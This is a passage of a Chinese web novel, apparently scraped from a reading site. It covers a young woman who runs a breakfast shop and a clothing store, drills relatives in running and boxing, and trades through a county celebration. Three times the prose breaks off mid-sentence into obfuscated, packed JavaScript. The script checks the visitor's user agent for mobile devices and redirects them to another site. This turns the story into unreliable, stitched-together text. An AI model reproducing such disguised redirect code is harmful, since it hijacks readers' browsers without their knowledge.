伍爱娜累得吃不下东西,奄奄一息地不说话,两人在车上相互依靠着睡着了。回到县城后,伍爱娜体力透支,连下车都是秀水连扶带扛弄下去的。喻庆山和刘瑞英骑着借来的三轮车等在车站里,几人把沉重的货物搬到车上,又让伍爱娜躺在衣服堆里,大家一起往家走。 “啊,我的脚!”路上伍爱娜不停哀嚎,“姨妈我的脚疼!姨爹我的腿疼!” “孩子怎么累成这样?”刘瑞英心疼地说,“中午就不晓得歇歇?” “没时间休息,”秀水趁机教育她,“明天你跟我跑步吧,不然就这小体格子,下回别拖我后腿!” 伍爱娜高高躺在几个袋子中间,毫无形象,无力反驳。 回家后,伍爱娜宛如一条死狗,上楼都是刘瑞英背的。秀水和喻庆山下完货,把饭菜端上去,发现伍爱娜早就在秀竹床上睡熟了。 第二天她呲牙咧嘴地起床,饿到发疯,艰难地挪下楼,连吃三个包子才有力气挪到服装店。看到秀水在店里熨衣服,伍爱娜表示万分佩服,“姐,你是铁打的吧?腿不疼吗?我昨天晚上差点死掉!现在全身都疼!” “走了一天,能不疼吗?”秀水说:“等会儿我给你揉揉腿!” 本想让她好好歇一天,伍爱娜却身残志坚,瘸着腿守在店里接待顾客,并提出搭配意见,“这件水红色的西装外套要搭那个短裙,港台明星都这样穿”“米色高腰裤配那件花衬衫好,再加条珍珠项链,不晓得好流行……” 趁着中午客人少,秀水终于腾出手,给伍爱娜揉了揉腿。她的手法当然很专业,上辈子没少被队医和保健医生操练,如今正好对伍爱娜实践一下。没想到稍微使了点劲,就把她疼得鬼哭狼嚎。刘瑞英听到动静跑过来看,心疼地说:“你小点劲儿!可怜的娃儿哪受过这种罪!” “劲儿小了没用!”秀水辣手无情,又在伍爱娜背上噼里啪拉地猛拍一通,伍爱娜发出悲惨的嚎叫,被秀水折磨得眼泪花花的,却觉得整个人清爽了不少。 等到她能正常走动了,忙到喻庆山称黄豆的磅秤上称了下自己的体重,发现自己轻了三斤,伍爱娜再次发出了欣喜的嚎叫。 32. 第 32 章 炎热的七月过去后,早餐店和服装店的营业逐渐恢复正常,没有以前那么多人了。但没多久家里的人口却多了起来,——怀安一中的学生结束了补课,喻秀竹欢天喜地回到家,刘文强也第一时间把儿子送了过来。 为了儿子的学业,刘文强难得地没有空手过来,还买了两斤鸡蛋糕。他把儿子和糕扔下,对秀竹和他姐殷殷叮嘱,“姐,竹子,我把子康交给你们了,好好给他补课,争取也像竹子一样考取一中!” 几句话交代完,他骑上摩托车就跑了。只留下背着书包的刘子康,在院里站着,瞅瞅刘瑞英,又瞅瞅秀竹。 “话都不说清楚就走了,哪儿有好酒好菜等着他呢,”刘瑞英不满地抱怨,又问刘子康:“书都带齐了?衣服带过来了没?”然后把他带到楼上,让他晚上跟喻庆山住,她则跟秀竹睡一床。 到傍晚,高晟也终于找来了。他骑着新款自行车,在小庙大道上左顾右盼,直到看见秀水豆腐包的招牌,才把车停靠在路边,欢快地跑进服装店大喊:“师父,我来了!” 同人不同命,高晟从江市回家后,还没来得及过来找师父,就被老师告了一状。他爹妈专程从邻县回来,对他进行了较为激烈的男女混合双打,然后夫妻双双把他押送到学校,并扬言“你就算要睡觉,也给老子趴在教室里睡”。高晟只好住进八中宿舍,每天到班上最后一排去睡觉。直到补课结束,他才真正解脱,第一件事就是急急忙忙过来找他师父。 放一只羊也是放,放一群羊也是放。秀水便把伍爱娜姐弟也拉进来,准备组个队带他们进行早锻炼。伍爱今听说要跟大姐跑步学拳,兴奋得上窜下跳;伍爱娜扬言起不了那么早,但听说跑步能减肥,也有了兴致。至于小胖子刘子康,无人在意他的意见。他人在屋檐下,是没有任何发言权的。 第二天六点钟,天色刚刚亮,早餐店的店门也才打开,高晟就骑着车来了。秀水已经整装完毕,正一脸暴躁地催促刘子康洗漱。几个人在院子里热身,随后伍爱娜姐弟才打着呵欠步行抵达。秀水简单整队完毕,便带领大家顺着水泥路朝前跑去,高高矮矮的几道身影很快就消失在朦胧的曙色中。 一个小时后,早餐店渐渐来了客人,刘瑞英正在擦桌子,抬头就见秀水一个人跑回来了,身姿轻盈得像头梅花鹿。刘瑞英忙问:“其他人呢?” “后面呢,”秀水不屑道:“一群小垃圾,完全带不动!” 然后她径直去里屋练拳去了,在院子里都能听到她把沙袋打得叭叭响。又等了好一阵,就见远远跑来一群残兵败将。伍爱今和秀竹先跑到的,一路狂喘着进了院子,做起了简单的拉伸。之后是高晟和伍爱娜,两个人一胖一瘦,各自喘得惊天动地,拖着腿跑到早餐店门口,一屁股坐在凳子上,把凳子坐得咯吱一响。 刘瑞英没看到刘子康,不由心焦,站在门前朝远处张望,又过了好一会儿,才看到刘子康迈着沉重的步伐,一边往家跑,一边嘤嘤地哭。刘瑞英又心疼,又好笑,忙说:“唉哟快来歇会儿!” “歇什么歇?”秀水从院子里出来了,板着脸对三个险些累死的人说:“起来走动!不然乳酸堆积,明天别想动了!” 伍爱娜爬不起来,喘着粗气说:“姐,我退出!我不减肥了!” “不同意!”秀水残忍地拒绝了她,“让你跟着批个货都能累瘫,你还想退出?给我练!” 几个人在胁迫声中艰难站起,去院子里做拉伸。然后每人都跟秀水做了几组俯卧开髋、弓箭步跳、扶墙送髋等训练,以增强髋部灵活性。秀水在旁纠正动作,非常冷酷无情,没人敢反抗。直到人人练得一脸猪肝色,早锻炼才告一段落。 伍爱今和刘子康爬进早餐店,一口气痛吃了好几个包子。高晟甚至想来碗肥肠粉,却被秀水制止了。秀水瞥他一眼,说:“全是虚肉,先减肥增肌!” 于是,本来早餐可以吃一碗粉和两个大包子的高晟,被安排了两个茶叶蛋一个包子。高晟含泪喝着无糖豆浆,对着肥肠粉直咽口水。同样垂涎肥肠粉的伍爱娜却主动管住了自己,发狠道:“我辛辛苦苦跑了那么久,不能白跑!我不吃!我坚决不吃!” 几个先后吃完早饭,秀水和伍爱娜去店里整理服装,喻秀竹则开始操练两个小弟了。她从姐姐带队的经验中得到启发,把脸板得严严实实的,见那两个小子磨磨蹭蹭不愿意进堂屋,她便厉喝一声“滚进来”,两个男孩子果然风风火火地滚了进来。 刘子康的胖脸蛋上满是愁苦,伍爱今则像个卖破烂的,——裤子破破烂烂,书包破破烂烂,连掏出来的课本都破破烂烂,活脱脱就是个学渣典型。 秀竹看得眼角直抽搐,没忍住朝他背上狠拍一巴掌,“你在吃书吗?课本怎么烂成这样?学习差也就算了,首先这个学习态度就不对!” 伍爱今缩着头,一声不敢吭。他在家可是被他妈、他姐经常毒打的,早已习以为常。坐在他对面的刘子康却被那一掌吓了一大跳,立刻加快了掏书本的动作。 堂屋的方桌上,秀竹沉着脸端坐中间,两个弟弟分居两侧,三人面前都摆满了书本和卷子。秀竹顺手抽出刘子康的试卷,看到上面红红的“58”分,没忍住也削了刘子康一巴掌。 “小学的数学有多难?啊?及格就这么难吗?给我重做一遍,我看看到底哪儿出了问题!” 刘子康嘤嘤嘤地咧嘴哭了起来。在院子里洗碗的刘瑞英忙准备去劝解。这可是她爹妈的心肝宝贝,要是知道在她家挨打了,还不杀过来兴师问罪? 但她还没动身,就被秀竹制止了。秀竹杀气腾腾地警告:“我劝某些人少管闲事!”还重点看了刘瑞英一眼。刘瑞英只好提心吊胆地继续洗碗。 然后秀竹沉声道:“再哭一声试试!一!二!” 还没数到三,嘤嘤声戛然而止,只余两声抽泣。刘瑞英忙撤回了伸出一半的脚。 等秀水出来,刘瑞英便悄声向她笑道:“想不到竹子还挺有老师样子的。我还怕她太文静了,掐不住两个调皮捣蛋的小子呢。” 秀水没说话,心想秀竹文静吗?装的,都是装的!谁家文静的小孩惹急眼了会拿砖头打人?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837078|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 秀竹考察了两个弟弟的学业,发现基础堪忧,便给他们重新布置作业。堂屋里很快安静下来,大家各自埋头做卷子。此情此景,搞得另一个学渣高晟很不自在。高晟硬着头皮在院里消食,好在秀水很快忙完服装店的事情,认真教了他几组拳击的基本步伐和拳法。高晟便在院子里独自练习。 这可把伍爱今给急坏了,他写两个字,便悄悄瞄一眼外面,巴不得出去和高晟一起比划比划。不料被他竹子姐看到,又削了一巴掌,“这是什么鬼画符?给我擦掉重写!” 伍爱今只好吭哧吭哧地擦掉刚写的作业,心痛又心灰,悲从中来,准备酝酿一点眼泪。转眼就见他姐又削了刘子康一巴掌,“你再玩橡皮试试!” 刘子康咧嘴想哭,秀竹指着他,暴躁地数数:“三!” 刘子康迅速闭嘴,只抽抽了两下。伍爱今也赶紧把还没挤出来的眼泪收了回去。 等做完一张试卷,两个孩子的脸色都是灰败的。他们垂手站在秀竹身后,小心翼翼等待她批改作业,已经预见到接下来的生活有多悲惨。 两小时的作业折磨结束了,到了玩耍时间。秀竹去厨房准备午餐,两个男孩这才满血复活。伍爱今模仿高晟练了会儿拳,又偷摸地掏出弹珠,和刘子康一起趴在地上,愉快地打起了弹珠。 高晟苦练半天,挥汗如雨,觉得很是枯燥无趣,想走却又有点舍不得。这时就见秀水从服装店的后门探出头,对院里或站或蹲或趴的三个人说:“都到厨房帮忙去,别擎等着吃饭!” 一声令下,三人只好都去了厨房,和秀竹一起做饭。高晟看到有鱼,又决定等吃完饭再走,省得他一个人回家还要找饭辙。 中午的饭菜很丰盛。家里吃饭的人多,且都是长身体的孩子,刘瑞英虽然心疼钱,却也肯在吃上面花些钱财了。排骨固然舍不得买,但早上她让喻庆山割了些五花肉,又买了一堆一指长的小鱼,家里又有现成的鸡蛋豆腐,秀竹便用这些食材折腾出了好几个花样。青菜炒豆腐、蒸鸡蛋、辣椒小炒肉、肉丸冬瓜汤和香煎小鱼等等,红的绿的白的摆了一大桌子。 忙一上午,大家都饿了,陆续围着大方桌坐定,各自甩开膀子大块朵颐。饭虽然是秀竹做的,但择菜和剁肉男孩子们也参与了,所以吃得格外香。饭后几个人又在秀水指挥下,洗碗的洗碗,抹桌子的抹桌子,很快就把堂屋和厨房收拾好了。就连在家身娇肉贵的刘子康,到了这里也要帮着拖地。 “下午有了空,等我来教你三截棍法。”秀水说着,径直去楼上了。中午人少,她可以和伍爱娜换着午休一会儿。 这句话成功挽留住了高晟,甚至连伍爱今也停下了伺机溜走的脚步,扭头道:“大姐,我也想学。” 秀水在楼梯上低头,冷酷道:“下午作业做完了吗?做得好,我才教。” 伍爱今抓耳挠腮,决定中午不睡觉了,提前把作业写出来。于是满院里寂寂无声,刘子康和秀竹都去睡觉了,就连高晟也在堂屋的竹床上躺下了,只有悲催的伍爱今,还捏着笔为暑假作业而苦苦奋斗。 33. 第 33 章 对于跑步时被秀水远远甩开,高晟深以为耻。以前他总觉得自己身体杠杠的,力气大大的,走出去乃是顶天立地的一名好汉。没想到一世英名,竟然栽在跑步上面了,简直是可忍孰不可忍! 从那天起,高晟就每天六点去早餐店报道。跑步累,练拳苦,吃不饱饭,还得干活。按说这样的日子他最多只能坚持两天,谁知道每次想放弃时,总会有些莫名其妙的理由冒出来,让他又继续坚持下去了。 整个八月,院子里天天人欢马叫。清早秀水带他们跑完步,照例是要做开髋训练的。每逢此时伍爱娜和刘子康就叫得此起彼伏;稍后秀竹带两个小子做作业,堂屋里时常响起呵斥之声,间或夹杂着嘤嘤两声抽泣;上午秀水教高晟练拳,指导时难免会出言暴躁;下午是三截棍教学时间,院里不时响起惊叫声,那是伍爱今练习时不小心打到自己…… 至于做饭吃饭,那更是动静大得不得了。除喻庆山和刘瑞英之外,人人都要掌勺,每天中午贡献不同菜式。几个孩子甚至因此隐隐有了比拼之心。有的菜受人欢迎,主厨眉开眼笑;有的菜大受唾弃,主厨拼命推销无果,只能自己默默吃掉。 就连十一岁的刘子康都亲手贡献过一道凉拌黄瓜。他第一次使刀,那叫一个谨慎小心,一条黄瓜硬是切了十分钟。饶是如此,还把刘瑞英吓得不轻,小声对秀竹抱怨道:“他在家哪做过饭?要是把手切伤了,你舅妈那人又有话说……” 刘子康却对自己能参与其中很是自豪。他扬起胖脸蛋子,对刘瑞英说:“姑妈我会切,我慢点切,不会伤到手的!” 秀竹又朝她妈翻白眼,“听到没?他说他会切!我劝某些人少管闲事!” “好,好!不管就不管,”刘瑞英又要气又要笑,转身往外走时,听到厨房里惊叫连连也没回头。左不过是油温高了,锅起火了,又能出什么乱子?“只要你们不把厨房炸了,我以后再不管了,乐得吃现成的……” 连续十来天的运动训练卓有成效,在教他们如何调整步伐和呼吸后,高晟和伍爱今的速度很快就提了起来,可以紧缀在秀水后面跑个来回。伍爱今甚至忍痛牺牲了中午和晚上的游乐时间,每次都提前把作业做出来,只为了让秀竹批改后,及时参与拳击课和三截棍的教学。 “看好了,今天教你们三套进攻型的组合拳,”没有拳击手套,秀水用布巾缠着手,给高晟和伍爱今做示范,“第一套,重复前直拳加后直拳;第二套,前直前直,后直加前摆……” 既然是示范,她打得就很慢。没想到这招致了伍爱今的不满。他跟着学了两天基础步伐,略为失望,觉得拳击根本没有武打片里的招式那么拉风,不由出言不逊:“大姐,你这根本都不帅!我一招白鹤亮翅,再一招黑虎掏心就能把你比下去!” 秀水居高临下地看着他,这小子!不教训教训他,他不知道花儿为什么这样红! “来,我就用刚才的招式和你对练。用什么亮翅也好,什么掏心也好,你随便来。”她说。 “那不行,你是大人,我是小孩!”伍爱今也不蠢,立刻寻了一块木板护在胸前,“这样还差不多!” 高晟在旁边看着他,眼神怜悯。兄弟,你死定了!别人拿刀都没挡住,你拿块破木板,在这儿吓唬谁呢。 秀水体贴道:“准备好了吗?” “准备……”伍爱今的话还没说完,就见他姐已经欺近身来,出拳入风,一连串“彭彭彭彭”敲击在木板上,震得他手疼。最后一拳更是轻松击穿木板,拳头停在伍爱今的下颌处,带来了凛凛杀气。 伍爱今目瞪口呆,根本没看清他姐是怎么出拳的。片刻后他扔掉裂成两半的木板,一个滑跪抱住秀水的大腿,“大姐,教我教我!” 秀水踢踢小弟,说:“我这根本都不帅,肯定比不过你的亮翅和掏心啊。” “不你帅!比武打片帅多了!”伍爱今嚎叫:“我要学,我要认真学!我什么时候才能打成你这样?” “看你造化了,格斗选手可不是人人都能的,”秀水得意地整理手上的布巾,道:“你得先从入门的拳法和步伐练起。基础不牢,地动山摇。任何动作要是打出去变了形,就失去了基本的攻击力……” 伍爱娜在服装店后门口旁观了全程,也很受震撼,跃跃欲试地想参与一下。不过观望片刻后她就迅速放弃了。为了美丽,她付出了那么多。早上跑步要戴帽子,跑完要拉伸半个小时之久。又怕晒黑了,又怕小腿长出肌肉影响美观。要是为了学拳再把胳膊练粗了,她可是万万不肯的。 她本来对自己已经超级满意了,但在暑假结束的前一天却受到了沉重打击。起因是喻庆山称完黄豆,把磅秤放在院子里,伍爱娜上去称了下,惊喜地发现自己又成功减重两斤。她忙兴高采烈地四处宣扬这一喜讯,谁知其他人陆续都上去称了下,每个人都瘦得比她多。高晟那家伙甚至瘦下来快十斤了。 伍大小姐不由得很委屈、很不服气了,愤愤不平地嚷嚷:“凭什么!凭什么!我没跑步吗?我没少吃吗?为什么我只瘦两斤?” “他是大基数体重,你是小基数,本来就不一样,你已经很健康了。”秀水安慰她:“而且他除了跑步还练拳,减这么多不是很正常吗?” 高晟看着体重秤上的数字,也不敢相信,还觉得是不是秤不准。秀竹说:“动动你的脑子!这可是我爸买黄豆的秤!要是显示的重量比实物要轻,那我家岂不是吃了大亏?” 等到八月底,刘文强终于来接儿子了。刘子康觉得自己刑满释放,喜笑颜开地和大家挥手告别,坐他爸的摩托车走了。伍爱今则喜忧参半,喜的是不用再挨他竹子姐的巴掌,忧的是上了学就没办法缠着大姐教他拳法了。 至于高晟,完全不想回学校。他宁肯每天顶着烈日跑步打拳,也好过趴在教室里睡觉。秀水见他闷闷不乐,忍不住给了他一条明路:“你干嘛不学体育呢?有你这个劲头,什么练不出来?你们学校就没有体音美专业吗?” 高晟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841596|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她一提醒,立刻就兴奋了,“对哦,我怎么没想到!”他们班确实有两个美术生,至于有没有学体育的,还得回校问问老师。模糊记得学校操场上经常有人搞训练,多半也是有的。 于是高晟也满怀期待地走了。到八月三十,秀竹也回学校后,坚守阵地的只剩下伍爱娜了。 伍爱娜一想到要去上学就可舍不得了。开学前的那几天她经常在服装店呆到半夜,有时甚至就和秀水睡在一起。在两人日以继夜的忙碌下,服装店的秋装也挂了出来。墙上陈列着一套套搭配好的服装,西装配牛仔、长袖衬衫配高腰裤、收腰花衬衫配黑色健美裤、蝙蝠袖线衫配短裙……看着姹紫嫣红、琳琅满目。 秀水给了伍爱娜二百块钱,算是这段时间以来的报酬。伍爱娜死活不要,“我妈要是知道了,肯定得说我不懂事!” “这是你应得的报酬。”秀水说:“以后你放假就过来帮忙,到了寒假我还请你,咱俩一起去进货!” 伍爱娜欢天喜地地答应了,拗不过她姐,最后还是拿着钱回家了,甚至因此不想上学,反正她对财校的课程一点兴趣也没有,干脆就缀学跟着她姐卖衣服好了。 “你给我老实点!”刘兰英听她说完,就把钱没收了,还收拾了她一顿。当然没舍得真打,只是狠狠骂了一通,“你姐那是没办法,初中读完就回家了,如今才当个体户卖服装。等你财校毕业,叫五爷爷和你爸好好给你谋一谋,规规矩矩找个单位上班去!别再东想西想的,听到没有?” 然后刘兰英风风火火去了店里,准备把钱还给秀水,现在全家人都穿着她店里的衣服,怎么好意思再拿钱哪。路上又想,个体户虽然挣钱,挣的也都是辛苦钱,况且社会地位也没有工人高,走出去不够受人尊敬。伍爱娜不懂事,当家长的可得为她好好规划前程才行。 伍爱娜被她妈打消妄念,只好噘着嘴上学去了。开学第一天,她顶着精心卷了一夜的卷发,穿着水红短袖衬衫,配一条石青牛仔裤,戴着塑料珍珠项链,打扮得油光水滑的,骑着凤凰牌女车去学校。上学前,她先绕到豆腐包店门前,朝里张望。 “姨爹,”她用腿支着自行车,不满地说:“怎么我姐还没开店门?这都几点了?” 墙上的挂钟刚刚七点,喻庆山边收拾餐桌边说:“你姐还在后头练拳呢,说早上没生意,八点多再开店也来得及。” “太懒了吧,”伍爱娜皱眉,说:“你跟我姐说,叫她早点开门!” 喻庆山答应了,给她装了几个包子和茶叶蛋,说:“带着到学校吃。快走吧小心上学迟到!”伍爱娜这才恋恋不舍地骑车走了。 等秀水练完拳、洗了澡过来开服装店的门时,喻庆山笑呵呵地转达了伍爱娜的意见,秀水非常无语。 她觉得自己已经够卷了,没想到碰到老喻和瑞英这号卷人,充其量她也只能算小卷。这就算了,如今竟连娇滴滴的伍爱娜都说她懒!竟然还让她七点就开店门!开着门干嘛?在里面打苍蝇吗? 34. 第 34 章 刚进九月,天气还热得很,厚秋装外套基本卖不动。一整天,店里都没啥生意,只有两个从县城里来的人,听说这里卖的好棉绸裙子,特意过来买了两条。早餐店的生意也比之前大幅回落,让习惯了忙碌的刘瑞英很是无聊。 “哎,要是咱家生意一直像前几天那样就好了……”她惆怅地感叹,尤其怀念之前每晚数钱的感觉。 因为生意淡,喻庆山忙完早上那一阵,就骑车回去红英村了。早餐店刚开张那阵子,两口子根本顾不上田里的庄稼,幸好有喻庆海照应着,几亩田才算没有荒芜。如今闲下来了,喻庆山和刘瑞英便时常替换着回老家,照管家里的水稻黄豆花生,偶尔也在那边买些黄豆驼回来。 到了傍晚,看着路边没什么人,秀水便把店门也关了,准备进去做晚饭。谁知刚落下卷闸门,就听外面有人喊,她忙又把门帘卷起来,原来是伍爱娜回来了。 “姐,我走时你还没开门,等我回来,你又关门了,”伍爱娜不满地嚷嚷,“哪有像你这样做生意的……” 秀水忍气吞声地没说话。她难得早关一回门,就被伍爱娜赶上了,只能算自己倒霉。看伍爱娜叨叨个没完,只好解释:“眼看天快黑了,开着门浪费电。你怎么不回家?跑过来干啥?” “快点!”伍爱娜总算想起了正事,兴冲冲地进了店,“按照这张纸上的号码,把牛仔裤都挑出来!” 原来,她上学第一天,就在班上推销出去十来条牛仔裤。哪个少女不爱美?看到伍爱娜穿着新新的牛仔裤,班上和隔壁班的女孩们岂能不动心?这年头,和好朋友穿同款衣服,不仅不会有撞衫的尴尬,反而会有成为某个团队的欣喜。看到大家都想买,伍爱娜便尽职尽责,把每个女孩的衣服号码都记了下来,晚上连家都没回,半路就拐到服装店,第一时间把这个消息告诉了秀水。 秀水当然也喜出望外,两人忙找齐了牛仔裤,搭手熨烫整齐,还搭配了不同颜色的衬衣,准备让伍爱娜带去给同学试穿。财校的学生,很多人家庭都比较宽裕,要是穿得好看,多半会连上衣也留下。 “姐,等天冷点,我就穿秋装去学校,她们绝对会疯抢!”伍爱娜说着,简直一刻也等不及了,抱怨道:“怎么还不冷?都九月份了,太阳还这么大,真烦人哪!” 就这么着,开学前两天,服装店的生意主要靠伍爱娜,倒也陆续推销出十几套。又过两天,忽然到处都传开了消息,平安县撤县建市的日子确定了,就在十月一号,到时全县要举办庆典! 消息是伍五叔从县里听说后,又传达到小庙村。村民们都为此激动不已。为什么呢?自然是因为,据说庆典仪式要放在新修好还没通车运营的长途客运站举行,那不就相当于在自家门口吗? 庆祝活动要举办整整一天,上午是县里各单位、各企业举行游行活动,游行路线都划好了,从县委县政府门口开始,绕主城区一圈,然后通过小庙大道,抵达新修的客运站。下午则是各乡镇组成庆祝队伍,届时还会有拉犟驴、舞龙舞狮等民俗表演活动。晚上还会在小庙村这一带放烟花,比过年都热闹。 各个单位和学校顿时都忙碌起来,排练着游行的方阵。小庙村的村民们则被组织起来,沿着新马路打扫卫生。路两边还没完工的楼房也都加快了进度,要赶在庆典之前完工,以良好的市容市貌迎接庆典的到来。 早餐店的生意又好了起来。因为路上来来去去的人突然变多了。来干活的、来检查工作的,甚至路过的,无论是谁,都要吃饭。秀水豆腐包的门店招牌那么大,老远都能看到,店里也干干净净的,谁不愿意进来吃个早饭呢?连着好几天,喻庆山和刘瑞英又忙得脱不开身了。 伍爱娜却是再没时间来服装店了。她被学校选中,光荣地成为财校游行队伍中的一员。本来因为她长得漂亮,气质又好,被老师们推荐站了C位,也就是第一排的中间位置。伍爱娜为此兴奋得要命,每天都不辞劳苦地在操场上训练。没想到几天后却被调换到了旁边,因为有校领导觉得,她那个单眼皮不符合大众审美,要选个更漂亮的女孩来代表财校形象。 伍爱娜气得在家嗷嗷地哭了一场,差点罢演,后来想想,到底还是舍不得,依旧早出晚归地训练去了。 想到即将到来的庆典,秀水在九月中旬又独自去了江市一趟,到服装批发市场大补特补了一批货。除了秋装外套、秋衣秋裤,她还把一直卖得很好的的确良长袖衬衣批发了两百来件。那可是全县的庆典!人山人海的,她的服装店就在游行路线旁边,怎么可能没有生意啊? 就在各种忙碌中,转眼到了九月底。庆典的前一天傍晚,秀竹从学校放假回来了。喻庆华和喻庆海两口子也都来了。刘瑞英提前托人带了信,让他们都到家里来玩,他们家离庆典现场近,看戏看热闹都方便。刘文强还骑着摩托,把老爹老娘也送过来了。 刘其山老两口住刘兰英家,喻庆华等人则住刘瑞英家。家里房子大,怎么都够住。刘瑞英欢天喜地给他们铺床,蒋士芳等人也帮着忙前忙后,大家热热闹闹地吃了晚饭,聊着第二天的庆典,都很兴奋。 当晚秀水特意提醒了喻庆山,让他把各种食材准备得充分些。喻庆山便狠狠心,多泡了十五斤黄豆。刘瑞英也额外多和了一盆面。第二天,两人比平时早一个小时就起了床,打豆浆、压豆腐、做包子。天刚蒙蒙亮,就把店门打开了。 平时空寂的马路上,这时影影绰绰的竟有了不少人。门刚打开,就陆续有人进店里吃早饭了。稍后喻庆华和蒋士芳听到动静,也去帮忙。趁着早上不太忙,大家都提前吃了点早饭垫垫肚子。喻庆山也赶紧把瘦肉臊子炒好了。然后,大家眼睁睁地看着路边的人越来越多了。 全县的人似乎都涌出来了,路两边全是人。他们一边引颈眺望,一边兴奋地讨论着。尤其小庙大道的长途客运站是游行终点,这里是看热闹最理想的地点。驻足等候的人也最多。很快,路两边就站了里三层外三层。警察们也来维护秩序,每隔几米就站着一个警察,不准人随意在路上穿行。 早餐店里,每张桌子都坐满了人。来吃饭的人太多,很多人都不耐烦地催促着。喻庆海把后院的条凳和椅子全搬了出来,摆在店门外的路边。便有人坐在条凳和椅子上,一手包子一手豆浆地吃着早饭。 所有人都忙得脚不点地。喻庆山不停地下粉下面,喻庆华在旁边帮着盛豆浆豆腐脑,外带煮豆渣合菜。秀竹和刘瑞英给顾客端包子,兼带收钱找零。也幸好有秀竹在,她算账快,收钱找零也快,不然刘瑞英根本忙不过来。 桌子上的人刚吃完,便又有人坐下等着了。刘瑞英快手快脚地把桌子收抹干净,把碗筷拿到后院。蒋士芳和喻庆海便挽着袖子洗碗。两人在洗碗盆前坐下后,便跟生了根似的,再也没有空站起来。 大清早,一墙之隔的服装店也人满为患。大多数人起初只是进来逛逛,看到明码标价的衣服,不由就动了心。店里喊叫声此起彼伏,有喊秀水拿衣服的,有问价格的,也有认出她来,跟她打招呼的。秀水一个人照看着偌大店面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看完热闹的人还意犹未尽,守在路边议论着哪个方阵的服装最好看,哪个单位的女孩最好看,顺便等候下午的民俗表演和晚上的烟花。也有人趁此机会,就近吃个饭逛一逛。早餐店的生意又重新忙碌起来,服装店里也迅速挤满了人。 中午刘瑞英根本没时间做饭,即使做了大家也没时间吃。店里的粉和面早就卖得精光,幸好包子蒸得多,还能抵挡一阵子。喻庆山赶紧又去厨房的大灶上重新烫粉烫面,又委托伍为民骑自行车买几板豆腐来,——现泡黄豆做豆腐显然是来不及了。刘瑞英又和了两盆面,急赶急地重新发面做包子。大家里里外外忙活的时候,饿了就顺手朝嘴里塞点东西吃。 秀水则是根本没时间进厨房,甚至上厕所都没时间。谢天谢地,庆典仪式结束后,伍爱娜连妆都没卸就跑来了,一进店,看到满满的人就兴奋了。 “姐,我洗个脸就过来。”她冲到后院去洗脸,片刻后回来,秀水赶紧把手里的衣服塞给她,“我去上个厕所,可憋死我了!” 上半天过去后,所有人都声嘶力竭、筋疲力尽。刚歇了口气,他们就迎来了下午的游行。 下午的观众甚至比上午更多,因为来了好些乡镇的人。大家各显身手,有坐拖拉机来的,有骑自行车来的。把车停下后,他们呼朋唤友,逛起了新修的小庙大道,在路两旁新开的店铺附近流连往返。 秀水和伍爱娜只抽空吃了个包子,就又忙着招呼顾客。到后来,刘兰英也来帮忙了。她守在试衣间旁边,把别人拿了几件衣服默记在心,等人出来时,就要及时清点衣服数量,以免有人偷窃。试衣间的人排起了长龙,有人不耐烦等,就在外面试起了外套。镜子前也挤满了人。每逢有人在镜子前站的时间长了,便会遭到其他人的催促。 好多从乡镇过来的人,进服装店后,看着这里的衣服质量好,价格也便宜,一买就是好几件。也有人只是从这里经过,本是挤进来看热闹的,看到别人抢购,自己不买似乎就吃了亏似的,也赶忙跟着买上两件。到了晚上,库存的服装卖得磬净,只衣架上稀稀拉拉挂了几件。